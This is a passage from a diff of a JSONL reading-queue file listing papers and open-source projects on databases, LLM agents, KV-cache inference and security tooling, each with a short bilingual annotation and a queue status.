基础"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/06/Hekaton-Sigmod2013-final.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"silo-oltp-2013","area":"papers","topic":"databases","title":"Silo: Speedy Transactions in Multicore In-Memory Databases","meta":{"col3":"2013","col4":"CMU 15-721 reading;OCC + epoch-based GC;多核 OLTP 范本"},"url":"https://www.cs.cmu.edu/~pavlo/courses/fall2013/static/papers/silo.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"naiad-2013-sosp","area":"papers","topic":"distributed-systems","title":"Naiad: A Timely Dataflow System","meta":{"col3":"2013","col4":"MIT 6.824 distributed dataflow;timely dataflow + 增量计算;Materialize 思想源"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"flat-datacenter-storage","area":"papers","topic":"distributed-systems","title":"Flat Datacenter Storage","meta":{"col3":"2012","col4":"OSDI'12;CLOS network + scaled RPC;MIT 6.824 storage section"},"url":"https://www.usenix.org/conference/osdi12/technical-sessions/presentation/nightingale","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"cassandra-eventual-tradeoff","area":"papers","topic":"distributed-systems","title":"Cassandra: Eventually Consistent Tradeoffs","meta":{"col3":"2009","col4":"Stanford CS244B;Dynamo+BigTable 杂交体;NoSQL 教学经典"},"url":"https://www.cs.cornell.edu/projects/ladis2009/papers/lakshman-ladis2009.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"scads-database-2008","area":"papers","topic":"databases","title":"SCADS: Scale-Independent Storage","meta":{"col3":"2008","col4":"UCB CS186 衍生;scale-independent SLA;Spark 之前 AMPLab 起点"},"url":"https://amplab.cs.berkeley.edu/wp-content/uploads/2011/06/SCADS-Berkeley.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"amber-sigmod-2014","area":"papers","topic":"databases","title":"Amber: Decoupling Access Methods from Stable Storage","meta":{"col3":"2014","col4":"CMU 15-721 storage;index-storage 解耦;为 disaggregated DB 铺路"},"url":"https://www.cs.cmu.edu/~pavlo/courses/fall2017/static/papers/amber.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"bigtable-revisit-2024","area":"papers","topic":"databases","title":"Bigtable Then and Now (CIDR 2024 retrospective)","meta":{"col3":"2024","col4":"CMU 15-721 spring 2024;Bigtable 18 年生产复盘;MTTR / 多租户"},"url":"https://www.cidrdb.org/cidr2024/papers/p36-yegge.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"ucb-cs186-fa2024","area":"papers","topic":"databases","title":"UCB CS186 Fall 2024 Database Internals Reading List","meta":{"col3":"2024","col4":"UCB DB 课程精选 reading;B+树 / Aries / 2PL / DBMS 分层架构入门"},"url":"https://cs186berkeley.net/fa24/resources/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R247-2026-06-01"} -{"slug":"self-evolving-agents-survey","area":"papers","topic":"agents","title":"A Comprehensive Survey of Self-Evolving AI Agents","meta":{"col3":"2025","col4":"自进化 agent 综述:System Inputs/Agent System/Environment/Optimisers 四件套;本批入门首选"},"url":"https://arxiv.org/abs/2508.07407","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"misevolution-2509","area":"papers","topic":"agents","title":"Your Agent May Misevolve: Emergent Risks in Self-evolving LLM Agents","meta":{"col3":"2025","col4":"自进化 agent 在 model/memory/tool/workflow 四路径上的演化偏移风险;Gemini-2.5-Pro 也中招"},"url":"https://arxiv.org/abs/2509.26354","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"agent-r1-2511","area":"papers","topic":"agents","title":"Agent-R1: Training Powerful LLM Agents with End-to-End Reinforcement Learning","meta":{"col3":"2025","col4":"端到端 RL 训 LLM agent 的模块化框架;扩展 MDP 框架定义 agent 关键要素"},"url":"https://arxiv.org/abs/2511.14460","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"apex-policy-exploration","area":"papers","topic":"agents","title":"APEX: Autonomous Policy Exploration for Self-Evolving LLM Agents","meta":{"col3":"2026","col4":"自进化 agent 的探索坍缩问题:策略图(DAG of milestones)做 fork discovery + policy selection"},"url":"https://arxiv.org/abs/2605.21240","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"exg-experience-graphs","area":"papers","topic":"agents","title":"EXG: Self-Evolving Agents with Experience Graphs","meta":{"col3":"2026","col4":"把成功/失败经验组织成结构化关系图,支持在线增长 + 离线复用;plug-and-play"},"url":"https://arxiv.org/abs/2605.17721","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"eve-agent-evidence","area":"papers","topic":"agents","title":"EVE-Agent: Evidence-Verifiable Self-Evolving Agents","meta":{"col3":"2026","col4":"自生成训练数据须可验证:proposer 给问答+证据 span,verifier 按边际增益打分"},"url":"https://arxiv.org/abs/2605.22905","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"llm-wiki-retrieval-reasoning","area":"papers","topic":"agents","title":"Retrieval as Reasoning: Self-Evolving Agent-Native Retrieval via LLM-Wiki","meta":{"col3":"2026","col4":"把外部知识编译成可演化 Wiki 页 + 双向链接;HotpotQA/MuSiQue SOTA"},"url":"https://arxiv.org/abs/2605.25480","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"evo-memory-2511","area":"papers","topic":"agents","title":"Evo-Memory: Benchmarking LLM Agent Test-time Learning with Self-Evolving Memory","meta":{"col3":"2025","col4":"流式任务下的自进化记忆 benchmark;统一 10+ memory 模块;提出 ReMem pipeline"},"url":"https://arxiv.org/abs/2511.20857","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"self-evolving-software-agents","area":"papers","topic":"agents","title":"Self-Evolving Software Agents (BDI-LLM)","meta":{"col3":"2026","col4":"BDI 推理 + LLM 让 agent 自主演化目标/推理/可执行代码;多 agent 环境实验"},"url":"https://arxiv.org/abs/2604.27264","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"skill-as-pseudocode","area":"papers","topic":"agents","title":"Skill-as-Pseudocode: Refactoring Skill Libraries to Pseudocode","meta":{"col3":"2026","col4":"markdown skill → 类型化伪代码 + 四步 deterministic 验证;ALFWorld -22% token -14% LLM 调用"},"url":"https://arxiv.org/abs/2605.27955","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"mind-skill","area":"papers","topic":"agents","title":"MIND-Skill: Quality-Guaranteed Skill Generation via Multi-Agent Induction and Deduction","meta":{"col3":"2026","col4":"induction agent 抽 skill / deduction agent 重建轨迹;reconstruction+outcome+rubric 三 loss + TextGrad"},"url":"https://arxiv.org/abs/2605.08670","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"skill-pro-nonparametric-ppo","area":"papers","topic":"agents","title":"Skill-Pro: Learning Reusable Skills from Experience via Non-Parametric PPO","meta":{"col3":"2026","col4":"Skill-MDP + 语义梯度 + PPO Gate;不动权重学可复用过程性 skill"},"url":"https://arxiv.org/abs/2602.01869","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"effiskill","area":"papers","topic":"agents","title":"EffiSkill: Agent Skill Based Automated Code Efficiency Optimization","meta":{"col3":"2026","col4":"两阶段 skill 库:mine Operator/Meta skill → 应用到未见程序;EffiBench-X +3.7~12.5pp"},"url":"https://arxiv.org/abs/2603.27850","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"skill-sd-self-distillation","area":"papers","topic":"agents","title":"Skill-SD: Skill-Conditioned Self-Distillation for Multi-turn LLM Agents","meta":{"col3":"2026","col4":"用 agent 自身轨迹生成 skill 当 dynamic teacher;importance-weighted reverse-KL;AppWorld +14%"},"url":"https://arxiv.org/abs/2604.10674","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"mmskills-multimodal","area":"papers","topic":"agents","title":"MMSkills: Towards Multimodal Skills for General Visual Agents","meta":{"col3":"2026","col4":"多模态过程性知识:state cards + multi-view keyframes;GUI/游戏 visual agent 通用提升"},"url":"https://arxiv.org/abs/2605.13527","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"webxskill","area":"papers","topic":"agents","title":"WebXSkill: Skill Learning for Autonomous Web Agents","meta":{"col3":"2026","col4":"executable skill = 参数化代码 + 步骤级 NL;URL 图索引;WebArena +9.8 / WebVoyager +12.9"},"url":"https://arxiv.org/abs/2604.13318","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"clawtrace-cost-aware","area":"papers","topic":"agents","title":"ClawTrace: Cost-Aware Tracing for LLM Agent Skill Distillation","meta":{"col3":"2026","col4":"按 cost 归因到每一步 skill 操作;preserve/prune/repair 三类补丁;揭示 prune 才是质量护栏"},"url":"https://arxiv.org/abs/2604.23853","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"skcc-skill-compiler","area":"papers","topic":"agents","title":"SkCC: Portable and Secure Skill Compilation for Cross-Framework LLM Agents","meta":{"col3":"2026","col4":"Skill 编译器 + SkIR 强类型 IR;O(m·n) → O(m+n);Claude Code 21→33%, Kimi CLI 35→49%"},"url":"https://arxiv.org/abs/2605.03353","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"code-as-agent-harness","area":"papers","topic":"agents","title":"Code as Agent Harness","meta":{"col3":"2026","col4":"把 code 当 agent 基础设施的综述:harness interface / mechanism / scaling 三层"},"url":"https://arxiv.org/abs/2605.18747","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"memcoder-co-evolution","area":"papers","topic":"agents","title":"MemCoder: Your Code Agent Can Grow Alongside You with Structured Memory","meta":{"col3":"2026","col4":"从 git commit 蒸馏 intent→code 映射;自精炼 + 经验内化;SWE-bench Verified +9.4pp over DeepSeek-V3.2"},"url":"https://arxiv.org/abs/2603.13258","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"zombie-agents-2602","area":"papers","topic":"agents","title":"Zombie Agents: Persistent Control of Self-Evolving LLM Agents via Self-Reinforcing Injections","meta":{"col3":"2026","col4":"自进化 agent 的安全侧:长期记忆被污染 → 跨会话持久化攻击 → 抗截断/抗相关性过滤"},"url":"https://arxiv.org/abs/2602.15654","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} -{"slug":"self-evolving-recsys-2602","area":"papers","topic":"agents","title":"Self-Evolving Recommendation System: Autonomous Model Optimization with LLM Agents","meta":{"col3":"2026","col4":"YouTube 实战:Offline Inner Loop + Online Outer Loop 双 agent 自动跑超参/架构/reward 实验"},"url":"https://arxiv.org/abs/2602.10226","status":"new","claimed_by":null,"attempts":0,"source_file":"arxiv-agent-self-evolution-2026-06-01"} +{"slug":"kv-fold","area":"papers","topic":"machine-learning","title":"KV-Fold: One-Step KV-Cache Recurrence for Long-Context Inference","meta":{"col3":"2026","col4":"Training-free long-context inference: treats KV cache as fold accumulator across recurrence steps. High priority for vLLM lens."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:23:59.379Z"} +{"slug":"vericache","area":"papers","topic":"machine-learning","title":"VeriCache: Turning Lossy KV Cache into Lossless LLM Inference","meta":{"col3":"2026","col4":"Speculative-decoding twist: drafts with compressed KV, verifies against full KV. High priority for vLLM lens."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"oscar-int2-kv","area":"papers","topic":"machine-learning","title":"OSCAR: Offline Spectral Covariance-Aware Rotation for 2-bit KV Cache Quantization","meta":{"col3":"2026","col4":"INT2 KV quant integrated into vLLM/SGLang via custom kernel; covariance-aware rotation. High priority direct vLLM relevance."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"nestedkv","area":"papers","topic":"machine-learning","title":"NestedKV: Nested Memory Routing for Long-Context KV Cache Compression","meta":{"col3":"2026","col4":"Combines global/block/sliding-window anchors with multi-time-scale anomaly scoring."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:35:44.677Z"} +{"slug":"triaxialkv","area":"papers","topic":"machine-learning","title":"TriAxialKV: Extreme Low-Precision KV-Cache Quantization for Agentic Inference","meta":{"col3":"2026","col4":"Mixed-precision KV quant tailored to agent workloads (multi-turn, tool calls, multi-modal)."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:38:46.301Z"} +{"slug":"memory-tool-use-agents","area":"papers","topic":"machine-learning","title":"When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?","meta":{"col3":"2026","col4":"Decouples memory abstraction from inference strategy across best-of-N/beam/MCTS. High priority for agent design lens."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:41:02.249Z"} +{"slug":"storm-multi-agent-state","area":"papers","topic":"machine-learning","title":"STORM: State-Oriented Management for Multi-Agent Collaboration","meta":{"col3":"2026","col4":"Replaces git-worktree isolation with explicit shared-state mediation for multi-agent."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:46:04.708Z"} +{"slug":"cci-agent-scaffolding","area":"papers","topic":"machine-learning","title":"Cross-Component Interference in LLM Agent Scaffolding","meta":{"col3":"2026","col4":"Full 2^5 factorial over plan/tool/memory/reflection/retrieval. All-In is suboptimal. High priority for agent eng."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"crossover-context-multi-agent","area":"papers","topic":"machine-learning","title":"When Context Hurts: Crossover Effect of Knowledge Transfer on Multi-Agent Design","meta":{"col3":"2026","col4":"2700 runs show context injection hurts as often as helps; single no-context baseline. High priority."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:54:57.260Z"} +{"slug":"spec-agent-separation-logic","area":"papers","topic":"formal-methods","title":"Agentic Separation Logic Specification Synthesis","meta":{"col3":"2026","col4":"LLM agent synthesizes propositional/first-order separation-logic specs for million-LOC C."},"url":"https://arxiv.org/abs/2605.27531","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"amaryllis-probabilistic-iris","area":"papers","topic":"formal-methods","title":"First Steps Towards Probabilistic Iris (Amaryllis)","meta":{"col3":"2026","col4":"First general-purpose probabilistic separation logic supporting dynamic heap allocation."},"url":"https://arxiv.org/abs/2605.13765","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"first-class-refinement-scala","area":"papers","topic":"compilers-pl","title":"First-Class Refinement Types for Scala","meta":{"col3":"2026","col4":"Refinement types as ordinary types; interact with subtyping/inference/pattern matching."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:29:39.230Z"} +{"slug":"tutti-ssd-kv-cache","area":"papers","topic":"machine-learning","title":"Tutti: Making SSD-Backed KV Cache Practical for Long-Context LLM Serving","meta":{"col3":"2026","col4":"GPU io_uring + GPU-native object store eliminates CPU intervention from SSD-backed KV. High priority for vLLM lens."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"hexagent-agentic-scheduling","area":"papers","topic":"machine-learning","title":"HexAGenT: Workflow- and Heterogeneity-Aware Scheduling for Agentic LLM Serving","meta":{"col3":"2026","col4":"Schedules online-revealed agent DAGs across heterogeneous A100/H100/H200 PD-disaggregated. High priority."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:01:26.259Z"} +{"slug":"llm-serving-needs-math","area":"papers","topic":"machine-learning","title":"LLM Serving Needs Mathematical Optimization, Not Just Heuristics","meta":{"col3":"2026","col4":"Position paper: vLLM/SGLang use FIFO + LRU + JSQ unchanged from classical distributed sys. High priority."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:06:28.427Z"} +{"slug":"vibeserve","area":"papers","topic":"machine-learning","title":"VibeServe: Can AI Agents Build Bespoke LLM Serving Systems?","meta":{"col3":"2026","col4":"Multi-agent loop synthesizes whole serving stacks end-to-end; matches vLLM in some configs."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:11:30.593Z"} +{"slug":"qwen-vla","area":"papers","topic":"machine-learning","title":"Qwen-VLA: Unifying Vision-Language-Action across Tasks, Environments, Embodiments","meta":{"col3":"2026","col4":"Big-team Qwen unified embodied foundation model: DiT action decoder atop Qwen-VL."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"visualthink-vla","area":"papers","topic":"machine-learning","title":"VisualThink-VLA: Visual Intermediate Reasoning for Low-Latency VLA Policies","meta":{"col3":"2026","col4":"Replaces text chain-of-thought with visual evidence tokens; 8.4s to 0.37s per step."},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"hyprland","area":"projects","topic":"operating-systems","title":"Hyprland","meta":{"col3":"C++","col4":"独立的动态平铺 Wayland compositor,36k star、月增 ~900;学 Linux 桌面 infra/合成器架构、wlroots。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"gitleaks","area":"projects","topic":"security-privacy","title":"Gitleaks","meta":{"col3":"Go","col4":"Secret 扫描 CLI,27k star,pre-commit/CI 标配;规则引擎和 git history 遍历是 DevSec 范式。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"bitwarden-server","area":"projects","topic":"security-privacy","title":"Bitwarden Server","meta":{"col3":"C#/.NET","col4":"开源密码管理器后端,19k star;多租户加密存储与 zero-knowledge 设计参考。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"nextcloud-server","area":"projects","topic":"backend-api","title":"Nextcloud Server","meta":{"col3":"PHP","col4":"自托管云存储/协作平台,35k star;plugin 体系/文件同步协议/共享权限模型。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"paperless-ngx","area":"projects","topic":"backend-api","title":"Paperless-ngx","meta":{"col3":"Python/Django","col4":"文档管理系统,41k star、月增 1700;OCR + 索引 + tag 自动化。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"tabby-terminal","area":"projects","topic":"cli","title":"Tabby Terminal","meta":{"col3":"TypeScript/Electron","col4":"现代化跨平台终端模拟器,71k star;学跨平台 GUI 封装 ssh/serial/wsl 多会话。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"authentik","area":"projects","topic":"security-privacy","title":"Authentik","meta":{"col3":"Python","col4":"开源 IdP,22k star,OAuth2/OIDC/SAML 全协议;自托管 SSO 替代 Keycloak。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"ente","area":"projects","topic":"security-privacy","title":"Ente","meta":{"col3":"Dart+Go","col4":"端到端加密相册/网盘,27k star;客户端加密 + 服务端零知识架构。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"nango","area":"projects","topic":"backend-api","title":"Nango","meta":{"col3":"TypeScript","col4":"Unified API for 200+ SaaS,9.5k star、月增 2200;OAuth/连接器/sync 引擎。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"openai-codex-cli","area":"projects","topic":"cli","title":"OpenAI Codex CLI","meta":{"col3":"Rust","col4":"OpenAI 终端编程 agent,87k star、月增 8k;与 Claude Code 对照学 sandbox/工具调用/审批流。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"ccusage","area":"projects","topic":"cli","title":"ccusage","meta":{"col3":"Rust","col4":"分析本地 Claude Code/Codex token 使用与成本,15k star;dev-tooling 自反馈基础设施。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"zizmor","area":"projects","topic":"security-privacy","title":"zizmor","meta":{"col3":"Rust","col4":"GitHub Actions 静态分析器,5.4k star;CI workflow 漏洞模式(pwn requests/token 泄露)。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"ai-dynamo","area":"projects","topic":"machine-learning","title":"ai-dynamo / Dynamo","meta":{"col3":"Rust","col4":"Datacenter-Scale 分布式推理框架,7k star;vLLM 之外的多节点推理范式。High priority。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"cocoindex","area":"projects","topic":"machine-learning","title":"cocoindex","meta":{"col3":"Python","col4":"增量索引/数据流引擎给 long-horizon agent 用,10k star、月增 3k;agent 数据层(embedding/retrieval)。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"ui-tars","area":"projects","topic":"machine-learning","title":"UI-TARS","meta":{"col3":"Python","col4":"字节开源原生 GUI 自动化 agent,10.8k star;vision-grounded computer-use agent 范式。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"maigret","area":"projects","topic":"security-privacy","title":"Maigret","meta":{"col3":"Python","col4":"OSINT CLI,按 username 跨 3000+ 站收集账号画像,31k star;异步爬虫/插件化数据源。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"technitium-dns-server","area":"projects","topic":"network-protocols","title":"Technitium DNS Server","meta":{"col3":"C#","col4":"自托管递归 DNS(DoH/DoT/blocklist),8.6k star;DNS 协议/网络 infra 完整可读实现。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"sqlite-durable-workflows","area":"papers","topic":"databases","title":"SQLite is all you need for durable workflows","meta":{"col3":"2026","col4":"619 分置顶;把 durable execution(Temporal/Restate)压到单文件 SQLite,揭示 WAL+FIFO+索引足以替代专用引擎。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:35:44.686Z"} +{"slug":"bijou64-varint","area":"papers","topic":"compilers-pl","title":"Bijou64: A variable-length integer encoding","meta":{"col3":"2026","col4":"Ink & Switch 出品;变长 64 位整数编码新方案,对比 LEB128/varint 给出更紧凑且分支预测友好的设计。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:38:46.308Z"} +{"slug":"zig-build-rework","area":"projects","topic":"compilers-pl","title":"Zig Build System Reworked","meta":{"col3":"Zig","col4":"build.zig 大改:把 step graph 拆成纯描述+并发执行;与 Bazel/Buck2 对比能看清声明式 build 架构。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"lfm2-5-8b-a1b-moe","area":"papers","topic":"machine-learning","title":"Liquid AI LFM2.5 8B-A1B MoE Trained on 38T Tokens","meta":{"col3":"2026","col4":"非 Transformer/SSM 混合 MoE,激活 1B 参数;38T token 训练规模公开数据点。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:23:29.372Z"} +{"slug":"yocto-alternatives","area":"papers","topic":"embedded","title":"You probably don't need Yocto, and that's fine","meta":{"col3":"2026","col4":"sigma-star 反共识技术分析:何时 Buildroot/Debian 比 Yocto 更对;附决策矩阵。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:41:02.257Z"} +{"slug":"compiler-perf-left-on-table","area":"papers","topic":"compilers-pl","title":"Leaving performance on the table","meta":{"col3":"2026","col4":"具体 benchmark 展示编译器没用尽的优化机会(PGO、LTO、自动向量化盲区)。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:46:04.716Z"} +{"slug":"rendering-diffs","area":"papers","topic":"editors","title":"On Rendering Diffs","meta":{"col3":"2026","col4":"pierre.computer 写自己 diff viewer 的渲染优化:virtualization、token 级 syntax highlighting。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"pandoc-templates","area":"projects","topic":"editors","title":"Pandoc Templates","meta":{"col3":"Haskell","col4":"Pandoc 模板生态站,把 markdown→PDF/LaTeX/HTML 模板系统化;学术写作/简历自动化。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"openrsync","area":"projects","topic":"operating-systems","title":"Openrsync: An implementation of rsync, by the OpenBSD team","meta":{"col3":"C","col4":"OpenBSD 重写 rsync,BSD 许可、协议兼容;rolling checksum + delta sync 最小可行实现。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"snowboard-kids-2-decomp","area":"projects","topic":"compilers-pl","title":"Snowboard Kids 2 is 100% Decompiled","meta":{"col3":"C","col4":"N64 完整反编译里程碑;matching decomp 工作流(mips_to_c、splat、ido recompiler)。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"mcp-is-dead-debate","area":"papers","topic":"backend-api","title":"MCP is dead?","meta":{"col3":"2026","col4":"quandri 工程博客对 Model Context Protocol 局限的批评(schema 漂移、stdin/stdout 限制)。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T03:54:57.269Z"} +{"slug":"hekaton","area":"papers","topic":"databases","title":"Hekaton: SQL Server's Memory-Optimized OLTP Engine","meta":{"col3":"2013","col4":"CMU 15-721 多周引用;MVCC + lock-free + native compilation 工业首发。High priority distsys/db classic。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"} +{"slug":"bw-tree","area":"papers","topic":"databases","title":"The Bw-Tree: A B-tree for New Hardware Platforms","meta":{"col3":"2013","col4":"CMU 15-721 索引专题;lock-free B-tree + log-structured page store。High priority。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:01:26.265Z"} +{"slug":"wisckey","area":"papers","topic":"databases","title":"WiscKey: Separating Keys from Values in SSD-conscious Storage","meta":{"col3":"2016","col4":"FAST'16 best paper;解释 RocksDB write-amplification 根源 + Titan/BlobDB 设计动机。High priority。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:06:28.434Z"} +{"slug":"oltp-looking-glass","area":"papers","topic":"databases","title":"OLTP Through the Looking Glass, and What We Found There","meta":{"col3":"2008","col4":"Stonebraker 拆解 90% 时间在 buffer/lock/log;H-Store/VoltDB/Hekaton/SiloR 共同前提。High priority。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:11:30.600Z"} +{"slug":"llmsurgeon-data-mixture","area":"papers","topic":"machine-learning","title":"LLMSurgeon: Diagnosing Data Mixture of Large Language Models","meta":{"col3":"2026","col4":"arXiv 2605.30348;从生成文本反推预训练数据 domain 分布;data provenance auditing 新框架。"},"url":"https://arxiv.org/abs/2605.30348","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"rim-latent-reasoning","area":"papers","topic":"machine-learning","title":"Reasoning in Memory: Unlocking the Working Memory of LLMs for Latent Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30343;用固定 memory token 替代 autoregressive CoT;Hochreiter 团队。"},"url":"https://arxiv.org/abs/2605.30343","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"hullft-ttft","area":"papers","topic":"machine-learning","title":"HullFT: Efficient Test-Time Finetuning via Convex Reconstruction and Gradient Caching","meta":{"col3":"2026","col4":"arXiv 2605.30337;Frank-Wolfe 投影 + gradient reuse;TTFT 质量-速度新前沿。"},"url":"https://arxiv.org/abs/2605.30337","status":"queued","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"} +{"slug":"compositional-incoherence","area":"papers","topic":"machine-learning","title":"Locally Coherent, Globally Incoherent: Bounding Compositional Incoherence in Multi-Component LLM Agents","meta":{"col3":"2026","col4":"arXiv 2605.30335;多 LLM 组件违反概率公理;Boyle-Dykstra projection 